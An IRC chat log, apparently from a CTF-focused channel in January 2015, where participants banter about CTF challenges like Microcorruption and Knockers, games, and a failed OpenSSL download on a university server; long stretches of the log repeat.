[2015-01-16T22:20:29-0500] <+Tamini> i think
[2015-01-16T22:20:38-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
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[2015-01-16T22:04:15-0500] <+hardmath123> I just spent like 3 hours on nikoli, and then I see a tyler (a-la-PPP) asking  for a hint in the IRC.
[2015-01-16T22:04:19-0500] <+hardmath123> D:
[2015-01-16T22:05:46-0500] <ubuntor> lol
[2015-01-16T22:11:50-0500] <+Tamini> wait wait wait
[2015-01-16T22:11:58-0500] <+Tamini> me toooo
[2015-01-16T22:12:00-0500] <+Tamini> you share my sentiments
[2015-01-16T22:12:12-0500] <failedxyz> yo
[2015-01-16T22:12:15-0500] <failedxyz> the first problem is so BS
[2015-01-16T22:12:16-0500] <+Tamini> i tried every reasonable thing with nikoli and i cryyyyyyyyyy
[2015-01-16T22:12:19-0500] <+Tamini> hm?
[2015-01-16T22:12:53-0500] <LittleBobbyTables> The 1 pointer?
[2015-01-16T22:12:59-0500] <+hardmath123> <3
[2015-01-16T22:13:01-0500] <+hardmath123> We can cry together.
[2015-01-16T22:13:07-0500] <failedxyz> yeah
[2015-01-16T22:13:13-0500] <+Tamini> if hangout wanted to stay connected
[2015-01-16T22:13:24-0500] <+Tamini> we could all be friends
[2015-01-16T22:13:27-0500] <+hardmath123> knockers doesn't cooperate because ipv6 derps out
[2015-01-16T22:13:29-0500] <+Tamini> at 4 diff locations
[2015-01-16T22:13:34-0500] <+Tamini> WAIT OKAY ITS NOT JUST ME RIGHT
[2015-01-16T22:14:00-0500] <+hardmath123> YEAH IT'S YOU AND ME AND THE REST OF #gits-ctf COMPLAINING
[2015-01-16T22:14:03-0500] <failedxyz> G.G
[2015-01-16T22:14:13-0500] <LittleBobbyTables> I could totally come on and just listen to you guys and do nothing
[2015-01-16T22:14:24-0500] <+Tamini> like
[2015-01-16T22:14:33-0500] <+Tamini> omg i thought i was
[2015-01-16T22:14:36-0500] <+Tamini> retarded or something
[2015-01-16T22:14:39-0500] <+Tamini> becauase nothing was working
[2015-01-16T22:14:41-0500] <+Tamini> LOL
[2015-01-16T22:15:38-0500] <failedxyz> omg i thought i was
[2015-01-16T22:15:46-0500] <failedxyz> retarded or something
[2015-01-16T22:15:47-0500] <failedxyz> oh wait i am
[2015-01-16T22:16:34-0500] <failedxyz> game still isn't working for me
[2015-01-16T22:16:46-0500] <+Tamini> you're a smart popsicle mzhang
[2015-01-16T22:16:48-0500] <+Tamini> lol 
[2015-01-16T22:16:52-0500] <+Tamini> i tried to fix the game
[2015-01-16T22:17:06-0500] <+Tamini> and i think i failed because stuff that was working before stopped working! :D
[2015-01-16T22:17:17-0500] <+Tamini> me+reversing = nop
[2015-01-16T22:17:51-0500] <failedxyz> lol
[2015-01-16T22:17:57-0500] <LittleBobbyTables> I finished microcorruption
[2015-01-16T22:17:59-0500] <failedxyz> :o
[2015-01-16T22:18:04-0500] <failedxyz> i can't even do the first level
[2015-01-16T22:18:10-0500] <failedxyz> teach me pls
[2015-01-16T22:18:48-0500] <LittleBobbyTables> for reals?
[2015-01-16T22:19:51-0500] <+Tamini> wait seriously
[2015-01-16T22:19:53-0500] <+Tamini> you finished it
[2015-01-16T22:19:58-0500] <+Tamini> it got super hard at like 5
[2015-01-16T22:20:22-0500] <LittleBobbyTables> Wasn't that the canary?
[2015-01-16T22:20:30-0500] <+Tamini> i think
[2015-01-16T22:20:39-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
[2015-01-16T22:22:48-0500] Mode is +ns
[2015-01-16T22:23:41-0500] <+Tamini> i started studying that
[2015-01-16T22:23:51-0500] <alokpathy> Wait what's the name of MC level 5?
[2015-01-16T22:24:34-0500] <LittleBobbyTables> Hanoi or Cusco
[2015-01-16T22:24:39-0500] <LittleBobbyTables> Depending if you count tutorial as a level
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[2015-01-16T22:26:01-0500] <failedxyz> hi
[2015-01-16T22:26:10-0500] <+Tamini> sawp
[2015-01-16T22:26:47-0500] <+hardmath123> this is the first time i've seen you not say hei
[2015-01-16T22:26:58-0500] <failedxyz> oh shit
[2015-01-16T22:27:00-0500] <failedxyz> hei*
[2015-01-16T22:27:04-0500] <+Tamini> too late
[2015-01-16T22:27:06-0500] <failedxyz> lol
[2015-01-16T22:27:07-0500] <failedxyz> :(
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[2015-01-16T22:13:01-0500] <+hardmath123> We can cry together.
[2015-01-16T22:13:07-0500] <failedxyz> yeah
[2015-01-16T22:13:13-0500] <+Tamini> if hangout wanted to stay connected
[2015-01-16T22:13:24-0500] <+Tamini> we could all be friends
[2015-01-16T22:13:27-0500] <+hardmath123> knockers doesn't cooperate because ipv6 derps out
[2015-01-16T22:13:29-0500] <+Tamini> at 4 diff locations
[2015-01-16T22:13:34-0500] <+Tamini> WAIT OKAY ITS NOT JUST ME RIGHT
[2015-01-16T22:14:00-0500] <+hardmath123> YEAH IT'S YOU AND ME AND THE REST OF #gits-ctf COMPLAINING
[2015-01-16T22:14:03-0500] <failedxyz> G.G
[2015-01-16T22:14:13-0500] <LittleBobbyTables> I could totally come on and just listen to you guys and do nothing
[2015-01-16T22:14:24-0500] <+Tamini> like
[2015-01-16T22:14:33-0500] <+Tamini> omg i thought i was
[2015-01-16T22:14:36-0500] <+Tamini> retarded or something
[2015-01-16T22:14:39-0500] <+Tamini> becauase nothing was working
[2015-01-16T22:14:41-0500] <+Tamini> LOL
[2015-01-16T22:15:38-0500] <failedxyz> omg i thought i was
[2015-01-16T22:15:46-0500] <failedxyz> retarded or something
[2015-01-16T22:15:47-0500] <failedxyz> oh wait i am
[2015-01-16T22:16:34-0500] <failedxyz> game still isn't working for me
[2015-01-16T22:16:46-0500] <+Tamini> you're a smart popsicle mzhang
[2015-01-16T22:16:48-0500] <+Tamini> lol 
[2015-01-16T22:16:52-0500] <+Tamini> i tried to fix the game
[2015-01-16T22:17:06-0500] <+Tamini> and i think i failed because stuff that was working before stopped working! :D
[2015-01-16T22:17:17-0500] <+Tamini> me+reversing = nop
[2015-01-16T22:17:51-0500] <failedxyz> lol
[2015-01-16T22:17:57-0500] <LittleBobbyTables> I finished microcorruption
[2015-01-16T22:17:59-0500] <failedxyz> :o
[2015-01-16T22:18:04-0500] <failedxyz> i can't even do the first level
[2015-01-16T22:18:10-0500] <failedxyz> teach me pls
[2015-01-16T22:18:48-0500] <LittleBobbyTables> for reals?
[2015-01-16T22:19:51-0500] <+Tamini> wait seriously
[2015-01-16T22:19:53-0500] <+Tamini> you finished it
[2015-01-16T22:19:58-0500] <+Tamini> it got super hard at like 5
[2015-01-16T22:20:22-0500] <LittleBobbyTables> Wasn't that the canary?
[2015-01-16T22:20:30-0500] <+Tamini> i think
[2015-01-16T22:20:39-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
[2015-01-16T22:23:41-0500] <+Tamini> i started studying that
[2015-01-16T22:23:51-0500] <alokpathy> Wait what's the name of MC level 5?
[2015-01-16T22:24:34-0500] <LittleBobbyTables> Hanoi or Cusco
[2015-01-16T22:24:40-0500] <LittleBobbyTables> Depending if you count tutorial as a level
[2015-01-16T22:26:02-0500] <failedxyz> hi
[2015-01-16T22:26:10-0500] <+Tamini> sawp
[2015-01-16T22:26:48-0500] <+hardmath123> this is the first time i've seen you not say hei
[2015-01-16T22:26:58-0500] <failedxyz> oh shit
[2015-01-16T22:27:00-0500] <failedxyz> hei*
[2015-01-16T22:27:04-0500] <+Tamini> too late
[2015-01-16T22:27:07-0500] <failedxyz> lol
[2015-01-16T22:27:08-0500] <failedxyz> :(
[2015-01-16T22:27:48-0500] Mode is +ns
[2015-01-16T22:28:15-0500] <failedxyz> LBT isn't cptnXn
[2015-01-16T22:28:32-0500] <LittleBobbyTables> Prove it
[2015-01-16T22:28:39-0500] <+hardmath123> it's funny watching tylerni7 be like "hiintts pls"
[2015-01-16T22:29:04-0500] <+hardmath123> especially coz he was all "THOU SHALT NOT ASK FOR HINTS" on #picoctf
[2015-01-16T22:29:41-0500] <+Tamini> lolol
[2015-01-16T22:29:44-0500] <+Tamini> dude i remember tyler
[2015-01-16T22:29:52-0500] <failedxyz> play this https://osu.ppy.sh/s/151878
[2015-01-16T22:29:53-0500] <+Tamini> being so chill tho
[2015-01-16T22:30:29-0500] <ubuntor> so is it a good idea to run a black light over everything if you think there are hidden messages?
[2015-01-16T22:30:55-0500] <LittleBobbyTables> yes
[2015-01-16T22:31:15-0500] <failedxyz> LittleBobbyTables:  play this https://osu.ppy.sh/s/151878
[2015-01-16T22:31:29-0500] <+Tamini> LittleBobbyTables: you should've come down for shmoocon
[2015-01-16T22:31:32-0500] <+Tamini> we could've hung out
[2015-01-16T22:31:43-0500] <LittleBobbyTables> Yeah, but that would require me knowing what it is
[2015-01-16T22:31:48-0500] <LittleBobbyTables> and also asking for money ahead of time
[2015-01-16T22:31:51-0500] <+Tamini> lol
[2015-01-16T22:31:52-0500] <LittleBobbyTables> And also having time off
[2015-01-16T22:32:01-0500] <+Tamini> pshh
[2015-01-16T22:32:04-0500] <LittleBobbyTables> failedxyz: I have like a 4 inch  mousepad atm dude
[2015-01-16T22:32:26-0500] <failedxyz> how are you on irc and playing osu at the same time
[2015-01-16T22:32:41-0500] <failedxyz> :s
[2015-01-16T22:33:04-0500] <LittleBobbyTables> Magic
[2015-01-16T22:35:24-0500] <jwoglom> one hand on mouse/tablet for osu, other hand on a keyboard for irc, duh :P
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[2015-01-16T22:37:49-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-16T22:17:17-0500] <+Tamini> me+reversing = nop
[2015-01-16T22:17:51-0500] <failedxyz> lol
[2015-01-16T22:17:57-0500] <LittleBobbyTables> I finished microcorruption
[2015-01-16T22:17:59-0500] <failedxyz> :o
[2015-01-16T22:18:04-0500] <failedxyz> i can't even do the first level
[2015-01-16T22:18:10-0500] <failedxyz> teach me pls
[2015-01-16T22:18:48-0500] <LittleBobbyTables> for reals?
[2015-01-16T22:19:51-0500] <+Tamini> wait seriously
[2015-01-16T22:19:53-0500] <+Tamini> you finished it
[2015-01-16T22:19:58-0500] <+Tamini> it got super hard at like 5
[2015-01-16T22:20:22-0500] <LittleBobbyTables> Wasn't that the canary?
[2015-01-16T22:20:30-0500] <+Tamini> i think
[2015-01-16T22:20:39-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
[2015-01-16T22:23:41-0500] <+Tamini> i started studying that
[2015-01-16T22:23:51-0500] <alokpathy> Wait what's the name of MC level 5?
[2015-01-16T22:24:34-0500] <LittleBobbyTables> Hanoi or Cusco
[2015-01-16T22:24:40-0500] <LittleBobbyTables> Depending if you count tutorial as a level
[2015-01-16T22:26:02-0500] <failedxyz> hi
[2015-01-16T22:26:10-0500] <+Tamini> sawp
[2015-01-16T22:26:48-0500] <+hardmath123> this is the first time i've seen you not say hei
[2015-01-16T22:26:58-0500] <failedxyz> oh shit
[2015-01-16T22:27:00-0500] <failedxyz> hei*
[2015-01-16T22:27:04-0500] <+Tamini> too late
[2015-01-16T22:27:07-0500] <failedxyz> lol
[2015-01-16T22:27:08-0500] <failedxyz> :(
[2015-01-16T22:28:16-0500] <failedxyz> LBT isn't cptnXn
[2015-01-16T22:28:33-0500] <LittleBobbyTables> Prove it
[2015-01-16T22:28:40-0500] <+hardmath123> it's funny watching tylerni7 be like "hiintts pls"
[2015-01-16T22:29:04-0500] <+hardmath123> especially coz he was all "THOU SHALT NOT ASK FOR HINTS" on #picoctf
[2015-01-16T22:29:42-0500] <+Tamini> lolol
[2015-01-16T22:29:45-0500] <+Tamini> dude i remember tyler
[2015-01-16T22:29:52-0500] <failedxyz> play this https://osu.ppy.sh/s/151878
[2015-01-16T22:29:53-0500] <+Tamini> being so chill tho
[2015-01-16T22:30:29-0500] <ubuntor> so is it a good idea to run a black light over everything if you think there are hidden messages?
[2015-01-16T22:30:55-0500] <LittleBobbyTables> yes
[2015-01-16T22:31:16-0500] <failedxyz> LittleBobbyTables:  play this https://osu.ppy.sh/s/151878
[2015-01-16T22:31:30-0500] <+Tamini> LittleBobbyTables: you should've come down for shmoocon
[2015-01-16T22:31:32-0500] <+Tamini> we could've hung out
[2015-01-16T22:31:43-0500] <LittleBobbyTables> Yeah, but that would require me knowing what it is
[2015-01-16T22:31:49-0500] <LittleBobbyTables> and also asking for money ahead of time
[2015-01-16T22:31:51-0500] <+Tamini> lol
[2015-01-16T22:31:52-0500] <LittleBobbyTables> And also having time off
[2015-01-16T22:32:01-0500] <+Tamini> pshh
[2015-01-16T22:32:04-0500] <LittleBobbyTables> failedxyz: I have like a 4 inch  mousepad atm dude
[2015-01-16T22:32:27-0500] <failedxyz> how are you on irc and playing osu at the same time
[2015-01-16T22:32:41-0500] <failedxyz> :s
[2015-01-16T22:33:05-0500] <LittleBobbyTables> Magic
[2015-01-16T22:35:24-0500] <jwoglom> one hand on mouse/tablet for osu, other hand on a keyboard for irc, duh :P
[2015-01-16T22:37:50-0500] Mode is +ns
[2015-01-16T22:40:02-0500] <ubuntor> bubbles that don't pop are so weird...
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[2015-01-16T22:17:51-0500] <failedxyz> lol
[2015-01-16T22:17:57-0500] <LittleBobbyTables> I finished microcorruption
[2015-01-16T22:17:59-0500] <failedxyz> :o
[2015-01-16T22:18:04-0500] <failedxyz> i can't even do the first level
[2015-01-16T22:18:10-0500] <failedxyz> teach me pls
[2015-01-16T22:18:48-0500] <LittleBobbyTables> for reals?
[2015-01-16T22:19:51-0500] <+Tamini> wait seriously
[2015-01-16T22:19:53-0500] <+Tamini> you finished it
[2015-01-16T22:19:58-0500] <+Tamini> it got super hard at like 5
[2015-01-16T22:20:22-0500] <LittleBobbyTables> Wasn't that the canary?
[2015-01-16T22:20:30-0500] <+Tamini> i think
[2015-01-16T22:20:39-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
[2015-01-16T22:23:41-0500] <+Tamini> i started studying that
[2015-01-16T22:23:51-0500] <alokpathy> Wait what's the name of MC level 5?
[2015-01-16T22:24:34-0500] <LittleBobbyTables> Hanoi or Cusco
[2015-01-16T22:24:40-0500] <LittleBobbyTables> Depending if you count tutorial as a level
[2015-01-16T22:26:02-0500] <failedxyz> hi
[2015-01-16T22:26:10-0500] <+Tamini> sawp
[2015-01-16T22:26:48-0500] <+hardmath123> this is the first time i've seen you not say hei
[2015-01-16T22:26:58-0500] <failedxyz> oh shit
[2015-01-16T22:27:00-0500] <failedxyz> hei*
[2015-01-16T22:27:04-0500] <+Tamini> too late
[2015-01-16T22:27:07-0500] <failedxyz> lol
[2015-01-16T22:27:08-0500] <failedxyz> :(
[2015-01-16T22:28:16-0500] <failedxyz> LBT isn't cptnXn
[2015-01-16T22:28:33-0500] <LittleBobbyTables> Prove it
[2015-01-16T22:28:40-0500] <+hardmath123> it's funny watching tylerni7 be like "hiintts pls"
[2015-01-16T22:29:04-0500] <+hardmath123> especially coz he was all "THOU SHALT NOT ASK FOR HINTS" on #picoctf
[2015-01-16T22:29:42-0500] <+Tamini> lolol
[2015-01-16T22:29:45-0500] <+Tamini> dude i remember tyler
[2015-01-16T22:29:52-0500] <failedxyz> play this https://osu.ppy.sh/s/151878
[2015-01-16T22:29:53-0500] <+Tamini> being so chill tho
[2015-01-16T22:30:29-0500] <ubuntor> so is it a good idea to run a black light over everything if you think there are hidden messages?
[2015-01-16T22:30:55-0500] <LittleBobbyTables> yes
[2015-01-16T22:31:16-0500] <failedxyz> LittleBobbyTables:  play this https://osu.ppy.sh/s/151878
[2015-01-16T22:31:30-0500] <+Tamini> LittleBobbyTables: you should've come down for shmoocon
[2015-01-16T22:31:32-0500] <+Tamini> we could've hung out
[2015-01-16T22:31:43-0500] <LittleBobbyTables> Yeah, but that would require me knowing what it is
[2015-01-16T22:31:49-0500] <LittleBobbyTables> and also asking for money ahead of time
[2015-01-16T22:31:51-0500] <+Tamini> lol
[2015-01-16T22:31:52-0500] <LittleBobbyTables> And also having time off
[2015-01-16T22:32:01-0500] <+Tamini> pshh
[2015-01-16T22:32:04-0500] <LittleBobbyTables> failedxyz: I have like a 4 inch  mousepad atm dude
[2015-01-16T22:32:27-0500] <failedxyz> how are you on irc and playing osu at the same time
[2015-01-16T22:32:41-0500] <failedxyz> :s
[2015-01-16T22:33:05-0500] <LittleBobbyTables> Magic
[2015-01-16T22:35:24-0500] <jwoglom> one hand on mouse/tablet for osu, other hand on a keyboard for irc, duh :P
[2015-01-16T22:40:03-0500] <ubuntor> bubbles that don't pop are so weird...
[2015-01-16T22:47:51-0500] Mode is +ns
[2015-01-16T23:01:38-0500] <failedxyz> holy shit
[2015-01-16T23:01:40-0500] <failedxyz> blocky's revenge
[2015-01-16T23:01:46-0500] <failedxyz> ok i'm done with this fucking game
[2015-01-16T23:01:56-0500] <+Tamini> wait
[2015-01-16T23:01:57-0500] <+Tamini> what is it
[2015-01-16T23:01:57-0500] <failedxyz> nope
[2015-01-16T23:02:00-0500] <+Tamini> i dont wanna relaunch the game
[2015-01-16T23:02:00-0500] <failedxyz> not playing this shit anymore
[2015-01-16T23:02:06-0500] <failedxyz> http://puu.sh/eCNIx/804dda60dd.jpg
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[2015-01-16T22:20:39-0500] <LittleBobbyTables> FailFish
[2015-01-16T22:21:51-0500] <LittleBobbyTables> It only started getting hard when you needed to format string
[2015-01-16T22:21:52-0500] <LittleBobbyTables> :/
[2015-01-16T22:23:41-0500] <+Tamini> i started studying that
[2015-01-16T22:23:51-0500] <alokpathy> Wait what's the name of MC level 5?
[2015-01-16T22:24:34-0500] <LittleBobbyTables> Hanoi or Cusco
[2015-01-16T22:24:40-0500] <LittleBobbyTables> Depending if you count tutorial as a level
[2015-01-16T22:26:02-0500] <failedxyz> hi
[2015-01-16T22:26:10-0500] <+Tamini> sawp
[2015-01-16T22:26:48-0500] <+hardmath123> this is the first time i've seen you not say hei
[2015-01-16T22:26:58-0500] <failedxyz> oh shit
[2015-01-16T22:27:00-0500] <failedxyz> hei*
[2015-01-16T22:27:04-0500] <+Tamini> too late
[2015-01-16T22:27:07-0500] <failedxyz> lol
[2015-01-16T22:27:08-0500] <failedxyz> :(
[2015-01-16T22:28:16-0500] <failedxyz> LBT isn't cptnXn
[2015-01-16T22:28:33-0500] <LittleBobbyTables> Prove it
[2015-01-16T22:28:40-0500] <+hardmath123> it's funny watching tylerni7 be like "hiintts pls"
[2015-01-16T22:29:04-0500] <+hardmath123> especially coz he was all "THOU SHALT NOT ASK FOR HINTS" on #picoctf
[2015-01-16T22:29:42-0500] <+Tamini> lolol
[2015-01-16T22:29:45-0500] <+Tamini> dude i remember tyler
[2015-01-16T22:29:52-0500] <failedxyz> play this https://osu.ppy.sh/s/151878
[2015-01-16T22:29:53-0500] <+Tamini> being so chill tho
[2015-01-16T22:30:29-0500] <ubuntor> so is it a good idea to run a black light over everything if you think there are hidden messages?
[2015-01-16T22:30:55-0500] <LittleBobbyTables> yes
[2015-01-16T22:31:16-0500] <failedxyz> LittleBobbyTables:  play this https://osu.ppy.sh/s/151878
[2015-01-16T22:31:30-0500] <+Tamini> LittleBobbyTables: you should've come down for shmoocon
[2015-01-16T22:31:32-0500] <+Tamini> we could've hung out
[2015-01-16T22:31:43-0500] <LittleBobbyTables> Yeah, but that would require me knowing what it is
[2015-01-16T22:31:49-0500] <LittleBobbyTables> and also asking for money ahead of time
[2015-01-16T22:31:51-0500] <+Tamini> lol
[2015-01-16T22:31:52-0500] <LittleBobbyTables> And also having time off
[2015-01-16T22:32:01-0500] <+Tamini> pshh
[2015-01-16T22:32:04-0500] <LittleBobbyTables> failedxyz: I have like a 4 inch  mousepad atm dude
[2015-01-16T22:32:27-0500] <failedxyz> how are you on irc and playing osu at the same time
[2015-01-16T22:32:41-0500] <failedxyz> :s
[2015-01-16T22:33:05-0500] <LittleBobbyTables> Magic
[2015-01-16T22:35:24-0500] <jwoglom> one hand on mouse/tablet for osu, other hand on a keyboard for irc, duh :P
[2015-01-16T22:40:03-0500] <ubuntor> bubbles that don't pop are so weird...
[2015-01-16T23:01:38-0500] <failedxyz> holy shit
[2015-01-16T23:01:41-0500] <failedxyz> blocky's revenge
[2015-01-16T23:01:46-0500] <failedxyz> ok i'm done with this fucking game
[2015-01-16T23:01:56-0500] <+Tamini> wait
[2015-01-16T23:01:57-0500] <+Tamini> what is it
[2015-01-16T23:01:57-0500] <failedxyz> nope
[2015-01-16T23:02:00-0500] <+Tamini> i dont wanna relaunch the game
[2015-01-16T23:02:01-0500] <failedxyz> not playing this shit anymore
[2015-01-16T23:02:07-0500] <failedxyz> http://puu.sh/eCNIx/804dda60dd.jpg
[2015-01-16T23:02:38-0500] <+Tamini> whoa
[2015-01-16T23:02:40-0500] <+Tamini> how did you get there
[2015-01-16T23:02:53-0500] Mode is +ns
[2015-01-16T23:02:53-0500] <failedxyz> ?
[2015-01-16T23:03:01-0500] <+JacobEdelman> okay, so we are testing out a machine learning algo
[2015-01-16T23:03:11-0500] <+JacobEdelman> so, is this image
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[2015-01-16T23:03:20-0500] <+hardmath123> oh, jacob.
[2015-01-16T23:03:22-0500] • hardmath123: sighs.
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[2015-01-16T23:03:29-0500] <@awe> Lol.
[2015-01-16T23:03:30-0500] <+hardmath123> JacobEdelman: pastebin, yo.
[2015-01-16T23:03:31-0500] <@awe> He pasted an image.
[2015-01-16T23:03:35-0500] <+JacobEdelman> *oops
[2015-01-16T23:03:40-0500] <@awe> That's a PNG.
[2015-01-16T23:03:40-0500] <@awe> :D
[2015-01-16T23:03:42-0500] <alokpathy> Um
[2015-01-16T23:03:44-0500] <alokpathy> well then
[2015-01-16T23:03:51-0500] <alokpathy> A very pretty image it is.
[2015-01-16T23:03:56-0500] <@awe> It's a tiger cat.
[2015-01-16T23:04:34-0500] <+hardmath123> Tamini: my count for number-of-people-confused-by-ipv6-in-knockers is now 7.
[2015-01-16T23:04:39-0500] <+hardmath123> Tamini: you aren't alone.
[2015-01-16T23:04:45-0500] <+Tamini> lolol
[2015-01-16T23:04:46-0500] <+Tamini> <3
[2015-01-16T23:04:52-0500] <+Tamini> why would you ipv6 this tho
[2015-01-16T23:05:13-0500] <+hardmath123> they said 'because we can'
[2015-01-16T23:07:32-0500] <+Tamini> pro: i have a gun
[2015-01-16T23:07:37-0500] <+Tamini> con: im being chased by five fucking bears
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[2015-01-16T23:03:57-0500] <@awe> It's a tiger cat.
[2015-01-16T23:04:35-0500] <+hardmath123> Tamini: my count for number-of-people-confused-by-ipv6-in-knockers is now 7.
[2015-01-16T23:04:39-0500] <+hardmath123> Tamini: you aren't alone.
[2015-01-16T23:04:45-0500] <+Tamini> lolol
[2015-01-16T23:04:46-0500] <+Tamini> <3
[2015-01-16T23:04:52-0500] <+Tamini> why would you ipv6 this tho
[2015-01-16T23:05:13-0500] <+hardmath123> they said 'because we can'
[2015-01-16T23:07:32-0500] <+Tamini> pro: i have a gun
[2015-01-16T23:07:37-0500] <+Tamini> con: im being chased by five fucking bears
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[2015-01-16T23:14:36-0500] <+hardmath123> JacobEdelman: I can now do    cat /usr/share/dict/words | nc localhost 8080
[2015-01-16T23:15:08-0500] <+Tamini> i just got mauled by a bear
[2015-01-16T23:16:22-0500] <+hardmath123> bears are cute
[2015-01-16T23:16:31-0500] <+hardmath123> my sister owns a stuffed one double her size
[2015-01-16T23:17:20-0500] <+Tamini> i want one of those
[2015-01-16T23:18:41-0500] <+JacobEdelman> awe: its a tabby cat
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[2015-01-16T23:33:32-0500] <+hardmath123> Tamini: 9 now.
[2015-01-16T23:33:44-0500] <+Tamini> lol
[2015-01-16T23:38:19-0500] <+hardmath123> also if anyone makes a documentary of my life including segments about relationships and code, it shall be called "Angels and Daemons"
[2015-01-16T23:41:11-0500] <+Tamini> this spider wtff
[2015-01-16T23:41:12-0500] <+Tamini> and LOL
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[2015-01-17T00:29:30-0500] <+JacobEdelman> zrl: you here?
[2015-01-17T00:30:38-0500] <zrl> At PennApps
[2015-01-17T00:30:43-0500] <zrl> If that's what you mean
[2015-01-17T00:31:06-0500] <@awe> hardmath123: what is this hamelin thing you're working on?
[2015-01-17T00:31:11-0500] <alokpathy> zrl: I think it is.
[2015-01-17T00:31:25-0500] • hardmath123: pastebins it *again*
[2015-01-17T00:31:38-0500] <+hardmath123> awe: http://hastebin.com/elugunaloz
[2015-01-17T00:31:51-0500] <+hardmath123> i swear, $haste README.md | pbcopy is on speed dial at this point
[2015-01-17T00:33:28-0500] <+JacobEdelman> zrl: where?
[2015-01-17T00:34:14-0500] <zrl> Berger auditorium
[2015-01-17T00:35:59-0500] <+JacobEdelman> hardmath123: it would be if you used fish 
[2015-01-17T00:42:38-0500] <+JacobEdelman> uhg, too not where I am, I'll find you tommorow
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[2015-01-17T01:08:37-0500] <+Tamini> i contributed
[2015-01-17T01:08:38-0500] <+Tamini> im good now
[2015-01-17T01:08:54-0500] <+Tamini> SCOREBOARD
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[2015-01-17T02:28:18-0500] <grantwu> OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
[2015-01-17T02:28:39-0500] <grantwu> it seems to be trying to download  https://cloud.github.com/downloads/libevent/libevent/libevent-2.0.19-stable.tar.gz
[2015-01-17T02:29:02-0500] <+hardmath123> download over http, then?
[2015-01-17T02:30:07-0500] <grantwu> github automatically redirects to https
[2015-01-17T02:30:27-0500] <+hardmath123> *sigh*
[2015-01-17T02:31:20-0500] <grantwu> hmm it seems I can do it manually
[2015-01-17T02:31:55-0500] <+hardmath123> well
[2015-01-17T02:32:11-0500] <+hardmath123> if you just need a unix server and don't particularly care about it being owned by a university
[2015-01-17T02:32:19-0500] <+hardmath123> join backtick.town:  http://104.236.156.40
[2015-01-17T02:33:03-0500] <grantwu> mehhh i could use computer club servers
[2015-01-17T02:33:08-0500] <grantwu> I already set up my shell here :C
[2015-01-17T02:33:12-0500] <ubuntor> does curl work?
[2015-01-17T02:33:20-0500] <grantwu> lolnope
[2015-01-17T02:33:25-0500] <ubuntor> rip
[2015-01-17T02:33:34-0500] <grantwu> I know from experience, curl isn't built with SSL support on these machines
[2015-01-17T02:34:46-0500] <grantwu> maybe I can... scp it over...
[2015-01-17T02:39:06-0500] <+hardmath123> considering openssl is a dependency for weechat, too, i doubt whether that will really work
[2015-01-17T02:39:19-0500] <grantwu> wait but I'm in weechat too
[2015-01-17T02:39:35-0500] <grantwu> I meant scp the file hosted on github
[2015-01-17T02:39:35-0500] <+hardmath123> is this an option https://github.com/Homebrew/linuxbrew ?
[2015-01-17T02:39:41-0500] <+hardmath123> oh
[2015-01-17T02:39:43-0500] <grantwu> Not OpenSSL
[2015-01-17T02:40:02-0500] <+hardmath123> oh
[2015-01-17T02:40:54-0500] <grantwu> hmm maybe that's an option
[2015-01-17T02:41:02-0500] <grantwu> I'd probably have to build it myself though bahahahahaahhaa
[2015-01-17T02:41:10-0500] <+hardmath123> it's all ruby
[2015-01-17T02:41:17-0500] <+hardmath123> inb4 doesn't have ruby on server
[2015-01-17T02:41:34-0500] <grantwu> its all ruby...?
[2015-01-17T02:41:41-0500] <grantwu> It requires GCC it says
[2015-01-17T02:42:01-0500] <+hardmath123> gcc is used to compile things like weechat
[2015-01-17T02:42:08-0500] <+hardmath123> but brew itself is coded in ruby
[2015-01-17T02:42:10-0500] <grantwu> oh
[2015-01-17T02:42:12-0500] <grantwu> hrm
[2015-01-17T02:42:13-0500] <+hardmath123> you can probably user-install rvm
[2015-01-17T02:42:23-0500] <+hardmath123> problem solved :P
[2015-01-17T02:42:29-0500] <grantwu> ruby is installed yes
[2015-01-17T02:42:41-0500] <grantwu> We have a version from last february
[2015-01-17T02:43:30-0500] <grantwu> or maybe I can just use the version that cclub has
[2015-01-17T02:43:40-0500] <grantwu> Through the magic of the distributed file system...
[2015-01-17T02:43:59-0500] <+hardmath123> ok, i've just created a pythonic monstrosity
[2015-01-17T02:44:06-0500] <+hardmath123> i should go to bed before it comes alive
[2015-01-17T02:44:08-0500] <+hardmath123> good night
[2015-01-17T02:44:13-0500] <grantwu> good night
[2015-01-17T02:44:23-0500] <grantwu> alokpathy: miao
[2015-01-17T02:45:30-0500] <alokpathy> Hiya
[2015-01-17T02:45:47-0500] <grantwu> I observer you are doing ctf thigns
[2015-01-17T02:45:59-0500] <grantwu> *observe *things
[2015-01-17T02:53:42-0500] <grantwu> welp it seems like chat died
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[2015-01-17T09:21:52-0500] <alokpathy> sumin_: oh hey you made it XD
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[2015-01-17T12:53:41-0500] <@awe> hardmath123: go home you're drunk
[2015-01-17T12:54:12-0500] <+hardmath123> i am home
[2015-01-17T12:58:52-0500] <+hardmath123> Hmmmmm a teacher at my old school mass-mailed a worksheet and I was cc'd.
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[2015-01-17T13:02:32-0500] <alokpathy> hardmath123: Your life seems pretty interesting
[2015-01-17T13:04:10-0500] <+hardmath123> idk last time i wrote them a heartfelt "i miss you all <3" email, nothing good happened.
[2015-01-17T13:29:46-0500] <@awe> The_Master: IRCCloud should work now.
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[2015-01-17T13:33:37-0500] <+Tamini> hardmath123: nothing, or nothing good?
[2015-01-17T13:34:09-0500] <+hardmath123> nothing good
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[2015-01-17T15:32:49-0500] • hardmath123: just submit his most halfhearted USAMTS solution set to date.
[2015-01-17T15:33:29-0500] <+hardmath123> I believe around 30% of the things I said.
